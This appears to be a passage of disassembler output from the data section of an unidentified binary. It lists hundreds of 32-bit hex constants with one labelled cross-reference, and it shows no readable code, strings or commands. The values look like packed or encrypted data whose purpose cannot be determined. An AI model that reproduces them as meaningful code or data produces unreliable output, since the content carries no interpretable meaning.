0CEF1D405h, 10A3202Ch, 808A857h, 3EFD24D8h dd 421B9B16h, 0D9DDB2B8h, 701B8855h, 8B9B3261h, 849C6809h dd 0C1283E90h, 376C7924h, 0A7182303h, 0C021FD07h, 48E2EFEDh dd 3AD7B0h, 7CB2A3C0h, 5A29A457h, 2A3A257Fh, 33007049h dd 35489179h, 92FA4Eh, 0D84FFC4Bh, 5762FED9h, 9D06C5F6h dd 0E4B1D7A3h, 3A870021h, 4727CE11h, 4D00D64Eh, 0EC52DE93h dd 5B51C092h, 0F1D090D5h, 7E00EE01h, 9D02814Dh, 0E949D6A5h dd 0BD36CCh, 6B8E1365h, 628F9274h, 377EF61Ch, 0CE00DF5Fh dd 273AD55Ah, 0D9260BECh, 182033E7h, 22A42564h, 0D3F3A07Ch dd 4EA9A1D8h, 54AB7601h, 0E36BFD86h, 0D0D8A0C2h, 979532CEh dd 8A880820h, 0C07A0A6Bh, 0CD66FAFEh, 0B4101918h, 0F4904010h dd 0CA092FBAh, 280781FDh, 56388CF4h, 14649F28h, 0E0281894h dd 5A9F44F1h, 24348CC8h, 8E1C467Bh, 0FEC20A6Fh, 0C4830E6Ch dd 3B760E78h, 2EAAF056h, 0DD91D040h, 80820E2Eh, 20454D40h dd 3FD0179h, 0D6BE0590h, 0EF918C19h, 9E97415Eh, 733CA318h dd 50FE1FD1h, 29C132A4h, 331FECB1h, 3429129Dh, 0C00BD179h dd 46ED7985h, 20D20725h, 1806F103h, 7D3F4700h, 0AFA880Fh dd 27E69368h, 0BC563A48h, 32D8C7C8h, 91AC619Ah, 2A21040Ch dd 3A74E487h, 39185B4Fh, 68977EFDh, 0C4865D54h, 44D1E8A9h dd 82010292h, 7C0F22ECh, 0DC81854Ch, 9A79B1C0h, 0F1DE0132h dd 9E77DC9h, 7091A8A3h, 3237112Eh, 0AC08CF17h, 0BF998147h dd 58F027FEh, 0BCA48920h, 81BD731h, 9C244605h, 8808C124h dd 0F006D9FCh, 1C9A30D4h, 0A474EF0Bh, 57205E9Fh, 60802142h dd 0C4035E94h, 0C18BDC08h, 8CE24384h, 845B910h, 18B462FBh dd 930206FDh, 328F083Fh, 24220108h, 18C402D7h, 2348C02h dd 0EC0EE729h, 40B048B1h, 0AB6219DAh, 2794210h, 6F03924Ah dd 6E0818AFh, 833180Bh, 906208C6h, 84BE2018h, 81EA6F33h dd 0BA18319Eh, 1C8C589h dd 0C604E540h, 9132080Dh, 23B41B2h, 7103096Eh, 0A7081881h dd 334920A1h, 80D3F380h, 18C4BAF5h, 0B063509h, 0C0541097h dd 9C6695A0h, 34A90E10h, 0C6083687h, 9D200810h, 0F1E762FCh dd 0E1031D9Bh, 932132C9h, 9203F919h, 6A1010C2h, 89A410DEh dd 37028E10h, 94E66964h, 0AC0A5418h, 0B7B4A85Ah, 0D199CC3Eh dd 1140E808h, 0A439C6E3h, 5154082Dh, 7D404A94h, 489F63FAh dd 8198C55h, 22180E06h, 0A0D4A19Fh, 37943F54h, 62ED1040h dd 0F67610A9h, 65431E03h, 44929909h, 4CC0184h, 2648A0DBh dd 6320D51Ch, 0AABD997Dh, 445E2010h, 3E771310h, 7A18E32Ch dd 0A10815ADh, 7967C8FDh, 11E1FD35h, 3E8EFA0h, 613110BFh dd 29303104h, 8880C0Dh, 991841CCh, 808F8861h, 0C7814543h dd 1B016988h, 1088B015h, 0A72AEF59h, 90FC54C4h, 0EBF8A91Dh dd 40EF3024h, 0E154B879h, 30CD86C8h, 0F7F179FEh, 0D8EA0895h dd 6903BE19h, 0DF401A7h, 1FEC8903h, 0D5247690h, 534883Ch dd 10BBB40Ch, 0CBDB40FAh, 144051C4h, 4C31FC05h, 0AC0817CCh dd 0E70CB9C4h, 9331404h, 0AD04A259h, 446705C6h, 0A3CBDD8h dd 0D188CCA9h, 0DC8E0C0Ah, 1FF5808h, 0C701E228h, 0B3CF0120h dd 71EB4098h, 8C4B054h, 5604C0A5h, 0F3AB06A3h, 7E323230h dd 0F8480508h, 0DF80264Eh, 8EA480FEh, 0D4516A81h, 8928A4Ah dd 0BE584933h, 88C94C23h, 54C46944h, 2064A84Dh, 0E5482038h dd 968028E6h, 8A20CCC1h, 92FD11h, 370CA149h, 8675946h dd 0A4C8EFA4h, 927F352Dh, 0C54CC3A8h, 4B3EEAC0h, 456110C0h dd 7E1A1898h, 57243AD9h, 80CA2792h, 0CF148770h, 1B2C03Eh dd 0A4E5F947h, 5B6079D5h, 2C83E822h, 6BB8DE1Ah, 9503980Fh dd 6BC84ECCh, 817AAB9Ah, 0F28FA900h, 296DBA0h, 0A2F014h dd 9C51F426h, 2BF7131Ah, 75009B76h, 9D0A05F0h, 0F97CF1Eh dd 0A01A92F4h, 0D15A5945h, 0A66EB264h, 0A9009F20h, 1A10295h dd 0C046F4F1h, 42239788h, 7F002876h, 0C34D62E4h, 1E79919h dd 0F1203A8Dh, 825334D7h, 49EBE3B0h, 0D5074003h, 26BA00D4h dd 0D08A7FB6h, 553EF928h, 0F7380099h, 97FF1710h, 0A00A0B92h dd 805CD41Ch, 0BB39E785h, 0E6C0981Fh, 41B13780h, 5C83F834h dd 0BE6C0C3Eh, 5F401610h, 4317879h, 987C773Fh, 0B449BF8Fh dd 1C90557Fh, 0A078FA95h, 0E481142Ah, 9C4CE100h, 0A8462A06h dd 3C2606EFh, 20318084h, 0FDDC9700h, 0FF328534h, 0C49828E8h dd 0EB7F0308h, 10F11568h, 47BB3391h, 0ED65C1A0h, 0CF6440E2h dd 0F025F6E5h, 375C6060h, 0EC1B2847h, 90870710h, 9DA9B49h dd 3334A860h, 0B40D47E8h, 8C52795h, 0F07AAEF4h, 0FBE600D7h dd 843E97A6h, 0CD7A3451h, 0E0501030h, 10DE0EDh, 0D538CB8Bh dd 0F0E91CC7h, 2E0A0C47h, 0A8F69AE7h, 3C01F72Ch, 6A40D722h dd 0DB1D388Ah, 45350948h, 9D019CDAh, 0A1512E21h, 0F7C122A3h dd 26DD4761h, 527F5420h, 1D3AACE9h, 0C066A0BEh, 400A1881h dd 8442550h, 0CB71E706h, 3055A80h, 8997D880h, 0C254000h dd 0C1392722h, 2C1DE0ECh, 3DCBED7h, 0D86EE730h, 0DD813805h dd 20443E13h, 0FA030F6Ch, 0EAA08A2Bh, 915AE748h, 4382F41Dh dd 87A87A21h, 0EC00C2B0h, 0FD6CE1h, 0CF272BBBh, 0B9B796F7h dd 61648418h, 0FB8DDC8h, 0E766974Ah, 4F481A8Ch, 747A831Bh dd 80799B20h, 5088703Eh, 0CF87E8A7h, 8988460h, 4614324Ah dd 84A8DA1Bh, 2B223E4Fh, 49798882h, 0D14A5C40h, 81FFD8C0h dd 0C1415AF0h, 0A33CCC50h, 517C87D7h, 0F5C026EBh, 9061C197h dd 8C8805ABh, 0C1FEAA2Fh, 82719289h, 0EEE78298h, 0A06056A0h dd 917F29C4h, 0BF1424D0h, 78303CC8h, 89D73E80h, 0E0207165h dd 0DF171407h, 608D8C3h, 12F0EF10h, 0F9CE98C2h, 0AC20F299h dd 801447D7h, 4A1D3151h, 0D60012CBh, 0B39C45FBh, 0FC842D75h dd 0C11C6C00h, 0B0B692D7h, 2908803Ah, 13F12DF7h, 9860C009h dd 205A2EA2h, 0F07A9F09h, 4C6C70ADh, 0E053B438h, 4C481448h dd 38BE607Dh, 0C3363D4Fh, 84C46606h, 1428E8FEh, 8081E0C7h dd 0CCF9E70Ah, 1D6309B4h, 3D83081h, 0E1508054h, 47ABBCEBh dd 46B30031h, 0FF2BEF43h, 0FF6F09Ah, 0C43660C3h, 0AC01E0DCh dd 3D190186h, 68F0F2FAh, 0D4208108h, 766984E2h, 964E7887h dd 66A5F0CAh, 7F009B93h, 0B35873BBh, 133A8EDh, 0FD3A632Dh dd 2CECE79Dh, 4DC85170h, 0DCFAF09Ch, 987FB0C0h, 3EA63603h dd 6218555Eh, 0D5443140h, 9F24D7F8h, 0EA80E09Bh, 6F76680Fh dd 0D0D6544Fh, 0DA1C0305h, 6247AAF3h, 33281877h, 0BE20CC8Dh dd 0C1270E3Ah, 3EE0A979h, 81F07D77h, 7DF8634Ch, 223084F4h dd 0E74A2836h, 8062603Eh, 0B5260E2Ah, 0C0A093FEh, 0F073BFF2h dd 0CDB48197h, 62F649B0h, 80E84C14h, 80581430h, 189BAECDh dd 84077913h, 2A890FF1h, 910238ACh, 39EFBAEh, 8851EC04h dd 978880D7h, 0ED4F817Ah, 0DBB81FAFh, 9EA24983h, 4EAE7823h dd 247945C9h, 9980121Ch, 415E00C1h, 867F1A61h, 96092666h dd 77E1F15Dh, 0C848540Bh, 0D428A6EEh, 79080856h, 4E5CE357h dd 5F8559C1h, 29311027h, 0D9720088h, 227C44ACh, 0E52685FCh dd 238F9099h, 9ADA227Dh, 7AC8C0B4h, 1F84A164h, 902B1C30h dd 8EB8816Ch, 0E14F7C00h, 25175700h, 3FADB5Ch, 59863A80h dd 495ED101h, 20D7E1E7h, 7716AF14h, 305F7BF0h, 1096F20Bh dd 432A7Ch, 4F513998h, 0BB617637h, 0C8995D1Eh, 0D53DEF00h dd 2A8414CEh, 819C10A8h, 703DE394h, 79E0170Bh, 404FB402h dd 0EC746464h, 9A0533Ch, 0A1D2E780h, 22CCD7B8h, 7CF83C20h dd 55373086h, 8FA74C18h, 4D503802h, 0A06C0CF1h, 0F0F4D5F0h dd 0E40B4931h, 0CFE3D71Dh, 0C70AF8EAh, 190820A8h, 913E7585h dd 0F09970BBh, 49B6A130h, 4DDC84E1h, 0FC4D085h, 298848BCh dd 0A0EA084Ch, 0B2496CC8h, 0BAC284h, 2264250Ch, 149F5042h dd 0BDE03DF3h, 0F1CF0C02h, 885DB1Ch, 0C989A2Ch, 419C61D7h dd 8B84B6F2h, 0C8FA4866h, 3F0E70B0h, 81447127h, 37D3248Ah dd 0F082F044h, 50646808h, 8F6F16F4h, 70403092h, 6C097604h dd 485C2D12h, 0BA88851Ch, 34745DF0h, 0B99B7009h, 0BCBA1423h dd 0D64E5000h, 0F895F011h, 90C00B98h, 0F480F607h, 0EB7A418Fh dd 0B418D209h, 89C00046h, 0AF00BE5h, 92757758h, 25840FA8h dd 1068689Ah, 0A36AC185h, 0A00B1010h, 434C20A6h, 1EFB64D0h dd 35849Dh, 543A90E1h, 3102E00Ah, 0EB2D0B85h, 1A8639Ch dd 34DB97B9h, 0D82B1FF3h, 27007C85h, 36CEA8DCh, 0E6153FD1h dd 0A36B30FDh, 0CD147520h, 73FB6212h, 0F8809095h, 9664CD4h dd 0C63152BDh, 0FC3A1442h, 0F104C8C5h, 68CC7D8Dh, 3081617Fh dd 83C096EFh, 3EF81F18h, 4C602E2Bh, 6CED0F60h, 86F510F8h dd 0A3433300h, 0EF9FDE7Ah, 11D4FB47h, 0C4FC266Ah, 0B8800A38h dd 0D04EBC30h, 26E3CF20h, 4A1FD0B8h, 3A14F623h, 0D61F0454h dd 0C8807E02h, 91D4542Ah, 40C393D4h, 8A7735E4h, 8094C598h dd 0A09DEA45h, 517D4851h, 714B4470h, 0DF28C718h, 461D40C4h dd 23008B85h, 53610139h, 26D39967h, 0DFAA4Ch, 3E16907Fh dd 0F12635F0h, 8592E8E0h, 317C4400h, 0B0F7234Dh, 0EF5C89CCh dd 0F40A6102h, 21BC3515h, 58117DAh, 0A0A1EF94h, 9E3366B4h dd 2779847h, 5DA87F0h, 0EF012BD7h, 788B4FD1h, 243141CFh dd 0F31CE027h, 0E469D700h, 84B4CD4Bh, 6897F173h, 3C500030h dd 2C17F5Ch, 66D2F118h dd 0E85D9E48h, 4C6406D9h, 681D5483h, 39CF7B12h, 47D0F000h dd 0E64F6041h, 688102E5h, 791B25A3h, 8A863061h, 68D61CA0h dd 3C9ADCA0h, 4CB29598h, 38E77F0Bh, 74FCA2B7h, 13CCC282h dd 2244B094h, 343912AFh, 93440F11h, 0E024A006h, 0D0DFD72Dh dd 4821F07Ch, 9800382Eh, 0C346F8Fh, 0E748FFF6h, 805D2FB8h dd 728354A4h, 9E78C070h, 9A847DD0h, 28444950h, 50B01550h dd 0E8BB32B0h, 0BCE74701h, 0B42D17E1h, 96815454h, 834A50B0h dd 5046F520h, 0C226CD80h, 81F84EC8h, 12BC8051h, 94C1FDF0h dd 58201537h, 49A01579h, 91109497h, 2C29268Dh, 84004C12h dd 71C79A11h, 0EF9098AFh, 4021B846h, 0D630D726h, 0DCF960BFh dd 0BA3E02F4h, 84F22740h, 63056141h, 3A30006Ch, 6AF109DAh dd 4088C5A4h, 0C0B5C277h, 11AC688Ah, 902F0613h, 18D0294Ch dd 18369DD7h, 31EEFDDh, 0DB49B3ACh, 0A31C0FADh, 0A8986FFFh dd 0B8096075h, 34394D19h, 9C10EFCBh, 54B07D81h, 0F0BF088h dd 0BC109960h, 0C29592E7h, 0FD9B4730h, 0BCE6304Ah, 1819E8A1h dd 33A62984h, 68390808h, 7C01F297h, 0BCC1F76h, 4D848064h dd 4901D0AEh, 0E1614066h, 0DB1BD84Dh, 68A00E5Eh, 85C9C87h dd 83C77BDh, 40DCF8E4h, 42466003h, 0ACD7443Fh, 24A8940Ch dd 70014C06h, 90399807h, 0AF912B94h, 8F1701ACh, 31F11D4Ch dd 0E7C8200Ch, 18264E12h, 70933872h, 890120D8h, 414E8000h dd 0C3D99772h, 8EE63732h, 0AAE78130h, 0C0802C9Dh, 3E80F84Fh dd 8054BE5Ch, 0E0E798FAh, 330568AAh, 90F0DDFFh, 3200DCB8h dd 96E2ED62h, 1000B1AEh, 12F6F14Fh, 5C67FB34h, 591EC853h dd 84B5C37Eh, 90005BB7h, 101A8848h, 0B7AF66DEh, 87A5005h dd 822581FCh, 0E14AF58Ch, 30731C54h, 9418113h, 0C890EA10h dd 9A609FD7h, 0B628D1A8h, 0A648E85Ch, 0F6E8A0ACh, 608081FBh dd 5501300Ch, 1C9B4928h, 9834E0E8h, 24043D54h, 8A105E92h dd 1F1B00C4h, 77E93669h, 30F014DCh, 350680A6h, 70440ED7h dd 0D0A8274Ch, 74A300F4h, 0D95C4736h, 85FE17AEh, 7DC8409Eh dd 5AC62630h, 44182C02h, 729079C9h, 0D03D00B8h, 0EE2F937h dd 0FA4D3682h, 3C1A1028h, 0EFD44293h, 0C46068A3h, 32019FFBh dd 44AB33ACh, 84D84C88h, 7043627Dh, 0E0E51A91h, 4A0BDB07h dd 0EDC09E77h, 7CE8FF9Ch, 9BEB003Bh, 24326E3Dh, 0D636E7EEh dd 0B8D980ECh, 98A9C214h, 0C4608F01h, 0FE17E0DEh, 9F1EF1E2h dd 71E70882h, 330D04Dh, 95643449h, 5CA017DBh, 7AF14CEDh dd 0AEE72081h, 0FF18007Ah, 42347E94h, 0E840A49Eh, 9AD26FE7h dd 807128FCh, 0F0EF54B8h, 68EE501Dh, 7C8CA185h, 513F9C23h dd 0BEF3E193h, 0FC894600h, 0FA2A2C3Bh, 0B0986Eh, 97A059D9h dd 91CF8365h, 8BA894A3h, 0FD066805h, 38DCD75Ah, 0A8084968h dd 0F918207Dh, 76408F48h, 5D08E4B9h, 0E781033Dh, 0F8030BA8h dd 0D3532B29h, 0D999F855h, 0F4081647h, 143CF852h, 13DC654Ah dd 74C93F4Fh, 19488860h, 503B3D83h, 61783586h, 0C002818h dd 9913D729h, 0EDB500DAh, 8D86F471h, 0C201F32Bh, 0F0F94E1Bh dd 60805B8Ch, 0A9EE5A38h, 920E841Ah, 0BECDCE51h, 972D6F90h dd 7C73F81Ah, 0D2E2EE80h, 25A59D6Bh, 44C17FE7h, 10206C7Dh dd 4D0C4301h, 373957E1h, 6179D719h, 66CECC20h, 2C2B7D4Ch dd 8068B5E0h, 44FF95DDh, 0F27A4F42h, 218BE201h, 16AAF0FBh dd 0D734E882h, 0D1064C57h, 4FA700E0h, 15FB2B21h, 0E2EF8B68h dd 164BC360h, 0C4D63124h, 2202C510h, 84FC5CEDh, 3779ECC0h dd 0C370184Ch, 38B6A0D7h, 0F009B28h, 2AD38C7Fh, 0F1384AFEh dd 6480E024h, 24214446h, 41CC887Ah, 0C4A4D922h, 50981E73h dd 9454847Bh, 7F29E198h, 0EF04A0DEh, 0A4B20A3Bh, 46A9E305h dd 3884BAh, 9A644F9Bh, 0AA00CD1Ch, 0D50EB282h, 65F184E3h dd 0B2DF4028h, 0F4390984h, 70789A96h, 0E2B8B8D0h, 67C330E7h dd 7D9BFFE0h, 0F4A8112Ch, 4E0C6826h, 405DF05Ch, 2DE22550h dd 0A604DBB0h, 49644829h, 0B0958CB8h, 54576604h, 89ACB418h dd 0C385E409h, 3F3C04E3h, 98B6B30Eh, 0C94EEF94h, 83F11C31h dd 66100AC7h, 402831B7h, 49C05622h, 0F06EED09h, 861860ADh dd 0D7A33AF4h, 97F53A00h, 242513DCh, 43207890h, 84E35865h dd 1D49CCCFh, 88B2EC44h, 0C4458F00h, 0A90E571Ch, 0EAF92CF3h dd 1C2412B4h, 411A5844h, 0CA0CCF80h, 1029E684h, 0D7B10924h dd 2CA97A62h, 203E9431h, 4C74ECC8h, 60226A2Ch, 869EDE40h dd 0E77F005Eh, 43B7E961h, 700BE099h, 216F70Ch, 353A43Ch dd 0EBC0B596h, 0B265B0F0h, 800041F0h, 5FFBD9D8h, 0FEC10099h dd 0D7474F86h, 88C26B0Dh, 0D1B385h, 57B659E2h, 0B04658h dd 0C4B73158h, 28E7CA9Ah, 29B027AFh, 85C1B62h, 0A40033F5h dd 9FD598F2h, 37EF01FBh, 16F07AEDh, 8D888022h, 0F3CC35FEh dd 0A79A007Fh, 99332045h, 0BB134EC5h, 0B808E2C6h, 1EE30E7Bh dd 0CC301F90h, 1863160Ch, 3C29F44Dh, 4F9F903Fh, 6055003Bh dd 654B835Dh, 1F4481BFh, 4FC44EA4h, 0FD9C14D6h, 6B138DC2h dd 26383121h, 0E1582064h, 0DAD83441h, 6DB4131Eh, 0C2CD881h dd 90EAD4B6h, 4E8BDA00h, 30D793EDh, 5C4C01DDh, 0F012947Ch dd 504014C0h, 0B3704998h, 589C4869h, 2CA4279Eh, 1FF88C79h dd 5C28FCB6h, 0A4400B5h, 9508803h, 2880E77Dh, 0E8400C0h dd 0EC0D191Eh, 4084D82Fh, 40940383h, 27A15A60h, 8F2634E7h dword_4E414C dd 0E93CC110h, 85203399h, 1C0CC197h, 72A807Dh, 0CDE9C0D7h ; DATA XREF: ___:off_43A870o dd 0E4146505h, 60F16488h, 0D7306AA4h, 0F71D21B0h, 55A690F0h dd 30809862h, 0FE17322Ch, 0FAE448B8h, 2D639601h, 696C8D64h dd 5700607Ch, 3A509199h, 5E0D0F0Ah, 88ECCDF1h, 1989EEE8h dd 18653F30h, 3880h, 81920437h, 1FF6231Ah, 2747556Fh, 932008AEh dd 0E762DA48h, 0E4FFBB2Ch, 0A0859F09h, 222C26A0h, 0F9232C4Fh dd 0D91DC284h, 0E898ECC6h, 0C077C4Ah, 4D80E6D7h, 6BE166D0h dd 242B50EDh, 429A0C02h, 2BF19D00h, 0DBE80F7Fh, 19C7D321h dd 69085ABh, 0A9B7F108h, 831D2A70h, 0E5CE4C13h, 25B4942Bh dd 510C480Ah, 489100BFh, 3ED9DF4Fh, 9A70BE0Fh, 0D60537F0h dd 1B5BF147h, 0E202BC01h, 0D830D01Eh, 4BC4962Ah, 0DE30C0E9h dd 5834F00h, 0C3F4A80Bh, 0F29D184Ch, 31B3A025h, 0D900E67Fh dd 0D51DFCE3h, 1C3D6202h, 13D7CFC5h, 0B19CC82Ah, 807C314Ch dd 0A4C4D899h, 100E588Ah, 0F1129C90h, 0CD44B08Fh, 86496D00h dd 0E15D098Ch, 81AF4A64h, 0D1836308h, 784425ECh, 12203EFBh dd 44A227FFh, 7E773102h, 64F99748h, 14A02D1Fh, 0A864F34Ah dd 414ED104h, 216081FAh, 0AC89F4F4h, 8160A2B7h, 0FE9B00E5h dd 0E4003D4Fh, 9C72D3B3h, 499F2E21h, 0A2040C75h, 0D2492263h dd 0B07180C4h, 958E1100h, 0C1517229h, 88561D10h, 2100DF84h dd 28A10297h, 1967BF7Ah, 184DF783h, 99A4744Ah, 4C3420D4h dd 0FBD7C464h, 9444FCC9h, 1B497004h, 40073CB2h, 4063D551h dd 0AA273B9Ah, 2A5460B2h, 88A33FB0h, 83EE09CCh, 0E4A18510h dd 0A0385014h, 7966720Ah, 647005CCh, 2D8E296h, 59D73684h dd 88A90516h, 0E7258554h, 81280024h, 0FAD61EDFh, 5F2001Ch dd 8791F046h, 0D4A626CBh, 8C8514A8h, 945E1000h, 7F83512Ch dd 16D0BA11h, 0A0A549B6h, 254DDFACh, 26A602E8h, 0C736D7h dd 2C3F029Bh, 27093D1Eh, 0BA305100h, 910AE31h, 83C7D7C1h dd 0F10BBCE7h, 64FC2532h, 3D33ACA0h, 30EEA3D7h, 0FDC59801h dd 0C101D15Bh, 41DDE193h, 70296408h, 0A74C4858h, 32C902A7h dd 0ECAA8970h, 0A8BF202Ch, 9E00A4B0h, 6C8C704Ah, 4A9CE7ECh dd 0DB60C01Bh, 0AF39F0EFh, 0B56AF5E5h, 7C8F0030h, 0A501D64Fh dd 30835A97h, 0AE62424h, 68ECBF66h, 805D08E4h, 0F140653Ch dd 4FB407EAh, 0F5A983C0h, 0D74D1076h, 0ECEF0204h, 80CCE049h dd 9BA6EACCh, 5DE71870h, 73269022h, 304CDF00h, 3F37D09Ch dd 0E70F097Fh, 9044312Bh, 0FC28384Fh, 70DA5C1Fh, 1E2AB040h dd 8711853Fh, 6C86BA3Ch, 0BF2827D0h, 0FC96B47Dh, 0C08C5A5h dd 3F68290Eh, 0BC198A24h, 4B310400h, 1DEF1C72h, 420735Bh dd 9094A8E7h, 3F6E9B58h, 3162C901h, 6F84D7D5h, 0D44C842Dh dd 0DCF0FB05h, 2604A00Eh, 3D489239h, 0D8F9246Fh, 99C8714h dd 785253Bh, 2B742450h, 0DB454C82h, 89859660h, 0B0FC55D8h dd 0A1306634h, 4CD7B80Fh, 0F538C474h, 5060802Fh, 3C03265Fh dd 4D025DA9h, 91384BA1h, 60F27B6Ch, 9001840Ch, 973B4EAFh dd 2196D92Fh, 7C382F37h, 98F6CC0Eh, 902F1FDAh, 17169534h dd 0B9E7D6A3h, 1F9C5830h, 438F72D7h, 6B65A511h, 0ABF1A804h dd 986FED00h, 4C0BB4D0h, 80FFE1E9h, 0F436CF68h, 382CE9F0h dd 0C0D34F07h, 1C8A9228h, 0B3AE62E0h, 0C6036502h, 413E94FAh dd 8905A7A4h, 0F9F1974Ch, 92844440h, 3E2E30E8h, 51124A8Dh dd 83E0B0C7h, 0C6935E25h, 50915804h, 13C8C84Fh, 30550E00h dd 50CCCF9Fh, 0F83D0958h, 0C8801F23h, 0A1AAF0F6h, 0D89DA8D6h dd 0A0189892h, 0E102EF60h, 5A8E55C8h, 0C05462D5h, 1847233h dd 873F4082h, 7A70E713h, 4F5C3454h, 990AF430h, 8F58C906h dd 0F824D480h, 1D61C1E7h, 7FDFFFE0h, 0C942E5E0h, 400DEF1h dd 16F31D41h, 0DBD72Eh, 0DC0F8586h, 946F1248h, 2438F374h dd 5617F02Dh, 92858C37h, 46A29CD2h, 4749C24h, 0EC3AE749h dd 24C04840h, 7C935813h, 0F2ECC08h, 0C1420398h, 0BC820A4Ch dd 5C00B770h, 48A85347h, 0D90024A4h, 0A6DB5BD3h, 0F0197577h dd 27981783h, 0E53CFF30h, 4437C455h, 1AE70508h, 6E8E228h dd 4BDCD737h, 204D06C0h, 211F7BE8h, 81344919h, 28601438h dd 0FAA440F2h, 976468F1h, 24B22C25h, 0F880912Fh, 1B4261E1h dd 84606BB8h, 9F798CA0h, 51264848h, 0B2B5205h, 82458013h dd 1F06CE1Ch, 596284D5h, 0AD2700C0h, 0ECC64F49h, 19000D1Bh dd 3DB8FBD6h, 258474A3h, 2CC458B6h, 92F40BCh, 6814827Ch dd 0F3410F40h, 70869CEDh, 0F405A524h, 0B044940Eh, 0FC66C017h dd 1CF95DB8h, 0C29AF40Eh, 0E7E86012h, 0C8A0C8B8h, 1578843Fh dd 10F59430h, 0F34517Fh, 580870AFh, 87DCEA8Ah, 3CFD8347h dd 0D0E5A760h, 0E72F8070h, 490C61DCh, 0EFC5B42Ch, 0EB58C8CCh dd 4BF08358h, 492EF899h, 0ACC256A8h, 0D79F34FBh, 0F9003DD0h dd 56AF4EDCh, 0D917CF28h, 60408784h, 45CCD89Eh, 3EE76DCBh dd 93EC3038h, 7F1B40h, 781D3B4Fh, 0F04CC834h, 3098792Fh dd 0FDF4B80h, 4F9E1427h, 54B9C180h, 0FF24EEA9h, 8205087h dd 0F31B6300h, 14B301DBh, 8C41014Fh, 849A8F69h, 74F453B8h dd 0DF70E908h, 9443501h, 1409E324h, 0EAE20CC4h, 0FE8920C6h dd 0D64E0089h, 0ED7D0154h, 933EC098h, 24F5A62Fh, 4455213h dd 0F030FEE0h, 97150E84h, 3E215098h, 0EC029181h, 0DC7FF560h dd 6CDC78D3h, 0A94BC7Dh, 13F0AD6Dh, 6AE401EDh, 20F298D7h dd 0FD3C9CFCh, 6D521929h, 2866A340h, 17FFD410h, 50926179h dd 980CCC97h, 466624D0h, 644A2727h, 0B2ED6DC0h, 3FF54F0Bh dd 9C53803Bh, 0A03D5005h, 4EC58408h, 8260271Ah, 30FAA489h dd 714D7608h, 0F6D30052h, 4F322FF7h, 17E2F11Eh, 0EB00485Fh dd 39B3A7EFh, 2FA426E7h, 98808094h, 8A3493DCh, 0BBD7EB16h dd 0E8457880h, 1E24B82Ch, 127AE714h, 0C0502518h, 22C9F144h dd 82B09095h, 0A81059E7h, 757A9807h, 80BF4728h, 51DA4EB6h dd 97F8EAE6h, 8410DC0Bh, 25906033h, 883F00ACh, 4EF34F13h dd 94073249h, 0C9E7F69Ch, 3C0250ECh, 4C3947DEh, 6F8AB9E0h dd 9C48535Dh, 9A6514DCh, 8DAF09B0h, 0FC745092h, 0E7DA8325h dd 84410079h, 1093FFB4h, 3B1C887Dh, 51769F04h, 54889C5Fh dd 280B951Fh, 90FA8C60h, 0F8CCE54Ah, 92D09197h, 7CC0B17Dh dd 0D71774BCh, 1C4896BEh, 293140D5h, 0BF005C17h, 0DEDB1CC3h dd 9068589Eh, 9FC909A0h, 0AC0055F9h, 1D2CCCFAh, 84E3D006h dd 4271CFD3h, 0D85401C2h, 0AAE1E77Bh, 5CC2CC7Ch, 80795B62h dd 0F07C7702h, 0C70501Dh, 70425C36h, 9E1EAF20h, 23C00D1Ah dd 838BDDB1h, 26F33B6Ch, 0A26D3FF9h, 859AC783h, 2CA3FB71h dd 8C8280E7h, 960D872Dh, 182E130Fh, 0CF6C5AE8h, 0D32C7E20h dd 2778B648h, 0A72B8B0Eh, 221A80B7h, 0E40BDFADh, 0E7C60EAAh dd 4098A65Fh, 4E01E02Ah, 6D35A2E1h, 1885BF78h, 0ABF56BACh dd 487B99C1h, 0CA7F509Dh, 7486CA6h, 0CC33DB2Dh, 0B3002730h dd 362BE426h, 187E961Bh, 287CEB83h, 0E7E79CDh, 17383760h dd 0ADBC29h, 244FE914h, 9E844894h, 0E1087224h, 0E61B8316h dd 10469B70h, 289CD0h, 23A6C47h, 7A618C0h, 3E4CC784h, 987C46BDh dd 0D4470880h, 540E14A0h, 0D178E460h, 0E278DFCFh, 0D800079h dd 251AADB8h, 880086F3h, 2DCD3129h, 1D217A27h, 0D8836F12h dd 8475F932h, 7D06C4ACh, 53B4028Ch, 0A8266221h, 16000577h dd 605B0E81h, 13283023h, 0C607B036h, 0A6A5E71Ah, 0A7CDC840h dd 0D9E2052Eh, 8391E540h, 0B040E07Ch, 0DB7347A8h, 90E81754h dd 6D0380A4h, 2FD1AAFFh, 6059E2A6h, 804014h, 0BC2B7E69h dd 227C8FD5h, 9B5EEA00h, 83766D0Eh, 40426094h, 0C6BB0F5Ch dd 30E63631h, 0D0BC96D3h, 4EB0D9Fh, 823EB7DFh, 5048F010h dd 0F85059F2h, 7F310FF0h, 1807D099h, 0A08F08Dh, 2920E209h dd 0CD623F0h, 0F68F6D1Ah, 63266438h, 8305A4EBh, 0EC4107A0h dd 53510E7Fh, 0F979508Ah, 3EDF86ACh, 0A000803Ah, 34B5F78Dh dd 8C80602h, 96930ED3h, 9B80141Ch, 0F9FAC6A3h, 6DA8A03Bh dd 70FB60C4h, 9B8778BDh, 2D29E303h, 0D52B150Dh, 69E17404h dd 30827C88h, 2E90C8F0h, 0D360626Dh, 2294CF18h, 14030295h dd 0AABE855Fh, 0BD9093h, 112A2D24h, 33286E7Ah, 25F9F022h dd 1AF6F47Ch, 1677F91Fh, 3868154Ah, 1E8C789h, 33D679F0h dd 48DBBE3h, 0A6707F50h, 0DF308868h, 78E2AD33h, 3096780Fh dd 0DE10549Fh, 0F56E040Dh, 396D2329h, 62600BD1h, 98004722h dd 101AC9C2h, 0C3F8FD50h, 0AF6DAEC3h, 332800F7h, 327DF57Ch dd 0BB008618h, 0E44C70F0h, 0FA306D60h, 0ADC336C8h, 0DC00A939h dd 5CC0F15Eh, 225DFFDh, 0D31E7290h, 8890BB2Bh, 10002415h dd 0C3A19A26h, 0ACDFBCEh, 8A765F92h, 0C0CB9CA0h, 6329AC81h dd 100A6509h, 88FD6983h, 0E703C507h, 73C682h, 7B446D22h dd 8B029BF0h, 0A5F92B17h, 29909067h, 93C99BFh, 84A0A60Fh dd 0ED51E019h, 741570C5h, 24FEBC31h, 7287F441h, 0F9B6BC41h dd 15257880h, 0B20F4475h, 0BCAB921Eh, 13081D14h, 404F7E12h dd 220A1078h, 0FF02BE7h, 48F4A5DFh, 0C88E7F00h, 6615A823h dd 91C33CAAh, 948F6829h, 1A117580h, 2AABEB90h, 90906DB4h dd 21610AA0h, 86C2891h, 24015393h, 66A636EBh, 5D5E3840h dd 864C91E3h, 1184D3DFh, 882B0614h, 30184838h, 